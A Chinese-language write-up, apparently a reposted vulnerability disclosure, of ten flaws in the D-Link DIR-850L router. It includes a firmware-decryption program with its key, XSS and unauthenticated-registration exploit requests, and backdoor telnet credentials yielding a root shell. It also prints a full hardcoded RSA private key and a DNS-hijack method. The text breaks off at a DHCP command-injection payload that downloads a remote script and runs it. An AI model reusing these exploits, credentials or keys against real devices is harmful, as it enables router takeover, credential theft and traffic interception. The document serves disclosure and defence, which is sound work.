本文讲的是在一款D-Link消费级路由器上，我发现了10个严重漏洞，近期，信息安全研究员皮埃尔·金（Pierre·Kim）公开了D-Link DIR 850L消费级无线路由器存在的10个严重漏洞。
此次公开的D-Link漏洞涉及多方面问题，如缺乏对固件映像的适当保护机制，意味着黑客可以向目标设备注入包含后门的恶意拷贝，以及D-Link私有的mydlink云协议中的漏洞。皮埃尔·金还发现了远程代码执行漏洞、默认密钥，以及DDoS（分布式拒绝服务攻击）风险。其他风险还包括跨站脚本攻击（XSS）、明文存储密码，以及LAN后门等。
皮埃尔·金总结：“D-Link 850L是一款设计糟糕的路由器，存在大量漏洞。从LAN到WAN，所有一切都存在问题。”
一、固件映像缺乏保护
Dlink 850 LrevA的最新固件(DIR850L_REVA_FW114WWb07_h2ab_beta1.bin)不受保护，黑客可以伪造最新固件的映像。
Dlink850LrevB的最新固件映像(DIR850LB1_FW207WWb05.bin、DIR850L_REVB_FW207WWb05_h1ke_beta1.bin和DIR850LB1FW208WWb02.bin)是带有硬编码密码。
以下是一个解密的固件映像的程序：
/*
* Simple tool to decrypt D-LINK DIR-850L REVB firmwares
*
* $ gcc -o revbdec revbdec.c
* $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define USAGE "Usage: decimg <filename> <key>\n"
int main(int argc,
char **argv)
{
int i, fi;
int fo = STDOUT_FILENO, fe = STDERR_FILENO;
if (argc != 3)
{
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
if ((fi = open(argv[1], O_RDONLY)) == -1)
{
perror("open");
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
const char *key = argv[2];
int kl = strlen(key);
i = 0;
while (1)
{
char buffer[4096];
int j, len;
len = read(fi, buffer, 4096);
if (len <= 0)
break;
for (j = 0; j < len; j++) {
buffer[j] ^= (i + j) % 0xFB + 1;
buffer[j] ^= key[(i + j) % kl];
}
write(fo, buffer, len);
i += len;
}
return (EXIT_SUCCESS);
}
你可以使用这个程序来解密固件映像:
user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1" 593 0x251 LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes 10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29
所以说，固件映像的保护是不存在的。
二、跨站脚本攻击（XSS）
只需通过分析/htdocs/web上的PHP文件，就可以发现一些易受攻击的XSS。
黑客可以使用XSS攻击，经过用户的身份验证，以便窃取身份验证cookie。
/htdocs/web/wpsacts.php：
user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php <?xml version="1.0" encoding="utf-8"?> <wpsreport> <action><a></action> <result></result> <reason></reason> </wpsreport> user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php [..] <wpsreport> <action><?echo $_POST["action"];?></action> [...]
/htdocs/web/shareport.php里的XSS：
[...] <action><?echo $_POST["action"];?></action> [...]
/htdocs/web/sitesurvey.php里的XSS：
[...] <action><?echo $_POST["action"];?></action> [...]
/htdocs/web/wandetect.php里的XSS：
[...] <action><?echo $_POST["action"];?></action> [...]
/htdocs/web/wpsacts.php里的XSS：
[...] <action><?echo $_POST["action"];?></action> [...]
三、mydlink云协议中的漏洞
黑客可以使用自定义的mydlink云协议获得完整的访问权限。
http://ip_of_router/register_send.php不检查用户的身份验证，因此黑客可以滥用此网页来获得对设备的控制，此网页用于将设备注册到myDlink云基础设施。
黑客将使用未经验证的/register_send.php网页来进行：
1.创建MyDlink云帐户；
2.在设备上注册这个账号；
3.将设备添加到这个帐户，这样设备将通过管理密码进入到云平台，同时这意味着密码以明文存储。
首先，黑客将使用Firefox50访问Dlink登录页https://www.mydlink.net.cn/entrance，黑客会利用该网页远程控制设备(比如通过重新启动)。不过要注意的是，Firefox50要安装官方的DlinkNPAPI扩展。
其次，使用Firefox开发工具，黑客可以分析来自www.mydlink.com上的Dlinkapi的默认HTTP请求或响应。因为在默认情况下，Dlink云接口将在PUT请求的响应中泄漏设备的密码。仅仅通过看NPAPI插件的HTTP请求，api就可以在明文中找到设备的密码。
最后，NPAPI插件会自动建立一个路由器和Firefox浏览器之间的通道，这样，黑客就可以访问http://127.0.0.1:dynamicaly_generated_remote_port/控制远程路由器。流量将直接进入亚马逊服务器，然后到达远程Dlink路由器:：
Firefox NPAPI client (http://127.0.0.1:remote_port/) -> Amazon -> Dlink 850L HTTP Interface.
黑客将使用来自Dlink api的legitHTTPS响应提供的前一个密码，并能够在路由器内登录。此时，黑客就完成了对路由器的完全控制。
这是通过在Amazon服务器上创建一个TCP通道的signalc程序(/mydlink/内部)实现的。
驻留在http://ip_of_router/register_send.php的PHP脚本，将充当黑客和远程Dlinkapi之间的代理，此页面还将检索密码(它存储在cleartext中)并将其发送到远程Dlink api。
151 $devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password
152 $action = $_POST["act"]; of the device
密码将在设备的关联中发送(第三个请求:adddev)到Mydlink云服务(见&device_password=$devpasswd):
178 //sign up
179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"].
181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";
182
183 $post_url_signup = "/signin/";
184
185 $action_signup = "signup";
186
187 //sign in
188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";
190
191 $post_url_signin = "/account/?signin";
192
193 $action_signin = "signin";
194
195 //add dev (bind device)
196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";
198
199 $post_url_adddev = "/account/?add";
200
201 $action_adddev = "adddev";
202
203 //main start
204 if($action == $action_signup) <---- first request
205 {
206 $post_str = $post_str_signup;
207 $post_url = $post_url_signup;
208 $withcookie = ""; //signup dont need cookie info
209 }
210 else if($action == $action_signin) <---- second request
211 {
212 $post_str = $post_str_signin;
213 $post_url = $post_url_signin;
214 $withcookie = "\r\nCookie:; mydlink=pr2c11jl60i21v9t5go2fvcve2;";
215 }
216 else if($action == $action_adddev) <---- 3rd request
217 {
218 $post_str = $post_str_adddev;
219 $post_url = $post_url_adddev;
220 }
为了利用这个vuln，让皮埃尔到dlink路由器创建3个HTTP请求:
第一个是signup请求，将在MyDlink服务上创建一个用户:
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send>
在内部，这个请求被制作并发送到MyDlink云api:
179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";
第一个是signin请求，路由器将与“signin”新创建的用户关联，但未激活:
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send>
在内部，这个请求被制作并发送到MyDlink云api:
188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";
最后一个请求会将该设备与dlink服务关联，并将该设备的密码发送到dlink的远程api:
user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send>
在内部，这个请求被制作并发送到MyDlink云api:
196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";
现在请使用来自Dlink的邮件确认邮件:
然后，访问http://mydlink.com/并使用电子邮件和密码登录。
此时，你将看到在web界面中列出的设备。
以下是附件截图，查看可用的管理选项:
通过分析这些请求，皮埃尔可以获得更多关于目标路由器的信息(请注意，在浏览www.mydlink.com网站时，请求是默认的)：
它出现了PUT(PUTidentifier-of_the_router)请求，以提供与设备的cleartext密码的响应。
请注意，在映像的末尾有一个GET请求。
https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN
POST数据如下
{"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]}
在cleartext(包含设备的密码)，响应是:
{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"password","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}
这样，一个GET请求就完成了(上一个映像中的最后一个)，它允许检索当前密码和之前的密码：
GET请求如下:
GET https://eu.mydlink.com/device/devices/DEVICE_ID?_=RANDOM_NUMBER&access_token=ACCESS_TOKEN HTTP/1.1
响应还是一样的，使用前一个明文密码和新密码(adminPassword):
{"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}}
最后，来自NPAPI插件的请求，处于浏览器和远程路由器之间的通道:
对/tssm/tssml.php的请求会使远程云平台将流量转发到设备编号3xxxxxxxxx，通过云平台，这将为黑客提供从浏览器NPAPI扩展到DLINK850L路由器的新建立的TCP通道的信息:
https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE
看起来插件会监测127.0.0.1:50453/tcp(HTTP)和127.0.0.1:50454/tcp(HTTP/SSL)，如下所示:
现在,让皮埃尔浏览http://127.0.0.1:50453，通过云协议将流量发送到远程路由器。
通过使用之前发现的泄漏密码(在PUT和GET请求中)，黑客可以远程对路由器进行pwn，并更新固件:
这些漏洞可能会影响一些使用Dlink的NAS、路由器以及摄像头。
有趣的是，DLink将使用mydlink服务存储在cleartext中的所有设备密码。
四、路由器WAN云协议中的漏洞
MyDlink云协议很弱，默认情况下，该技术不提供加密，它只是一个基本的TCP中继系统。所有的流量都是通过TCP发送到远程亚马逊服务器的，没有经过加密:
TCP继电器是以dlink路由器的HTTPS服务器作为端点的，因此，这个路由器可以通过HTTP和HTTPS访问TCP通道。默认情况下，你可以从浏览器(通过通道)查看到路由器的HTTP请求和HTTPS请求。关于HTTPS请求，路由器提供的SSL证书是自签名的。这样，黑客就可以通过伪造和使用一个无效的证书，以便成功的对设备进行中间人攻击和拦截信息。更重要的是，默认情况下，HTTP的TCP继电器是由NPAPI插件制作的。
在路由器内部运行的/mydlink/signalc程序使用该设备的MAC地址来获得一个唯一的标识符，即使dlink设备被重置或链接到新的dlink云帐户，该标识符也不变。用户可以使用rgbin二进制文件更改设备的MAC地址，/usr/sbin/devdata是一个到达/usr/sbin/rgbin的符号链接，并且使用的argv[0]必须是要进行以下运行的devdata这个程序：
# /usr/sbin/devdata dump # will dump all the configuration # /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface
这个程序只会重写/dev/mtdblock/4的信息。
mydlink接口允许用户输入gmail/hotmail帐户的凭据，然后凭据通过与云协议建立的通道转移到路由器。这似乎并不是一个好主意，因为路由器和云平台之间的流量没有加密，使用自签名证书，而没有经过验证，密码会通过互联网发送到这条通道。
这些漏洞可能会影响一些使用Dlink的NAS、路由器、摄像头以及支持MyDlink云协议的每个设备。
以下是一些wireshark(cleartext流量和自签名证书):
五、LAN后门
在revB上，如果你重置了设备，/etc/init0.d/S80mfcd.sh脚本将以下面这些参数启动mfcd二进制文件:
mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
mfcd实际上是一个telnetd服务器，-u标志用关联的密码($image_sign变量)定义授权用户。
br0是eth0、peth0、wlan0以及wlan1网口的桥梁，这个后门只能从局域网中使用。
user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh #!/bin/sh echo [$0]: $1 ... > /dev/console orig_devconfsize=`xmldbc -g /runtime/device/devconfsize` entn=`devdata get -e ALWAYS_TN` if [ "$1" = "start" ] && [ "$entn" = "1" ]; then mfcd -i br0 -t 99999999999999999999999999999 & exit fi if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then if [ -f "/usr/sbin/login" ]; then image_sign=`cat /etc/config/image_sign` mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 & else mfcd & fi else killall mfcd fi
通过使用loginAlphanetworks和wrgac25_dlink.2013gui_dir850l密码，黑客可以在设备上得到一个具有Root权限的Shell:
user@kali:~/petage-dlink$ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. Login: Alphanetworks Password: wrgac25_dlink.2013gui_dir850l BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # echo what what #
六、私钥漏洞
密钥是在固件内硬编码过的，可以使用HTTPS管理，这就允许黑客进行SSL中间人攻击：
# ls -la /etc/stunnel.key -rwxr-xr-x 1 root root 1679 Jan 20 2017 /etc/stunnel.key # cat /etc/stunnel.key -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+ uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS 3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1 t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1 CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2 a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/ I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/ C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ 1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg== -----END RSA PRIVATE KEY----- # cat /etc/stunnel_cert.pem Certificate: Data: Version: 3 (0x2) Serial Number: 87:6f:88:76:87:df:e7:78 Signature Algorithm: sha1WithRSAEncryption Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost Validity Not Before: Feb 22 06:04:36 2012 GMT Not After : Feb 17 06:04:36 2032 GMT Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) Modulus: 00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3: fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62: 35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c: c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa: 79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4: 44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d: e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89: 15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c: ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5: 4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb: 9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf: 19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9: 84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53: 01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d: 9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45: 98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02: ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed: 7b:eb Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE Netscape Comment: OpenSSL Generated Certificate X509v3 Subject Key Identifier: B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01 X509v3 Authority Key Identifier: keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2 Signature Algorithm: sha1WithRSAEncryption 3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61: 88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c: 21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27: e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43: ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88: fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d: 12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4: e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14: 49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b: 03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f: 8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad: 71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8: 88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42: b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01: 7e:d3:01:13 -----BEGIN CERTIFICATE----- MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0 MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD /pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D 9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q 7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz 0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2 84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj 346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK L0K03Bik6/rxBA6n4v9drM1hKAF+0wET -----END CERTIFICATE-----
七、DNS配置漏洞
黑客可以利用htdocs/parentalcontrols/bind.php文件更改DNS配置，重新配置时，它不会对管理用户的身份进行验证。
在即没有HTTP请求的限制，也没有身份验证的情况下，黑客可以对nonce(?nonce=integer)进行暴力破解(BruteForce):
8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;
9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")
10 {
11 $Response="BindError";
12 }
13 else if(query("/runtime/device/uptime") > $uptime_limit)
14 {
15 $Response="BindTimeout";
16 }
然后，黑客可以定义新的DNS服务器:
21 set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]); 22 set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]); 23 set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);
黑客可以使用这个vuln将流量转发给其控制的服务器，从而进行对Dlink云服务器进行自定义，控制Dlink路由器。
八、明文存储密码漏洞
从下面5个文件中，皮埃尔发现了较弱的权限:
1./var/passwd
/var/passwd在明文中包含凭证，/var/passwd的权限为-rw-rw-rw-(666):
# ls -la /var/passwd -rw-rw-rw- 1 root root 28 Jan 1 00:00 /var/passwd # cat /var/passwd "Admin" "password" "0"
2./var/etc/hnapasswd
注意，黑客可以使用/var/etc/hnapasswd在cleartext中检索密码:
# cat /var/etc/hnapasswd Admin:password
/var/etc/hnapasswd的权限是-rw-rw-rw-(666)
# ls -la /var/etc/hnapasswd -rw-rw-rw- 1 root root 20 Jan 1 00:00 /var/etc/hnapasswd
3./etc/shadow
/etc/shadow是一个到/var/etc/passwd的符号链接，/var/etc/passwd文件是可读的，如下所示:
# ls -al /etc/shadow lrwxrwxrwx 1 root root 15 Jan 20 2017 /etc/shadow -> /var/etc/shadow # ls -la /var/etc/shadow -rw-r--r-- 1 root root 93 Jan 1 00:00 /var/etc/shadow
该文件包含管理用户的DES哈希值：
# cat /var/etc/shadow root:!:10956:0:99999:7::: nobody:!:10956:0:99999:7::: Admin:zVc1PPVw2VWMc:10956:0:99999:7:::
4./var/run/storage_account_root
/var/run/storage_account_root包含在cleartext的凭证中，/var/passwd的权限为-rw-rw-rw-(666)
# ls -la /var/run/storage_account_root -rw-rw-rw- 1 root root 40 Jan 1 00:00 /var/run/storage_account_root # cat /var/run/storage_account_root admin:password,::: jean-claude:dusse,:::
5./var/run/hostapd*
/var/run/hostapd*文件包含了cleartext中的无线密码，这些文件的权限为-rw-rw-rw-(666)
# ls -la /var/run/hostapd* -rw-rw-rw- 1 root root 73 Jan 1 00:00 /var/run/hostapd-wlan1wps.eap_user -rw-rw-rw- 1 root root 1160 Jan 1 00:00 /var/run/hostapd-wlan1.conf -rw-rw-rw- 1 root root 73 Jan 1 00:00 /var/run/hostapd-wlan0wps.eap_user -rw-rw-rw- 1 root root 1170 Jan 1 00:00 /var/run/hostapd-wlan0.conf # cat /var/run/hostapd*|grep -i pass wpa_passphrase=aaaaa00000 wpa_passphrase=aaaaa00000
九、RCE漏洞
在路由器上运行的DHCP客户端容易受到几个命令注入的影响。
请使用dhcpd.conf文件提供以下配置:
rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf
option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
subnet 10.254.239.0 netmask 255.255.255.224 {
